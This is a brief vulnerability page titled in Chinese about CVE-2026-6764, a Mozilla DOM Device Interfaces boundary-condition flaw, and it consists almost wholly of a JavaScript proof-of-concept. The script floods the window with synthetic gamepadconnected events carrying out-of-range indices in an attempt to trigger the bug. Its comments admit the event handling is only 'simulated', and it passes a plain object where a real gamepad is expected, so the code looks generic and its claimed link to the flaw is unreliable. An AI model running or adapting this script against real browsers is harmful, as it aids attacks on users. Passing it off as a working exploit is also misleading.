CVE-2026-6764 Mozilla产品DOM边界条件错误漏洞

// PoC for CVE-2026-6764: DOM Device Interfaces Boundary Condition // This script attempts to trigger the vulnerability by manipulating device connection events. function trigger_vuln() { try { // Iterate rapidly to trigger boundary condition in Device Interfaces var devices = navigator.getGamepads(); for (var i = 0; i < 1000; i++) { // Simulate connection/disconnection events or buffer manipulation // specific to the underlying bug in DOM Device Interfaces var mock_device = new GamepadEvent('gamepadconnected', { gamepad: { index: i - 1 } }); window.dispatchEvent(mock_device); } console.log("[+] Attempted to trigger boundary condition."); } catch (e) { console.log("[-] Exception caught: " + e.message); } } trigger_vuln();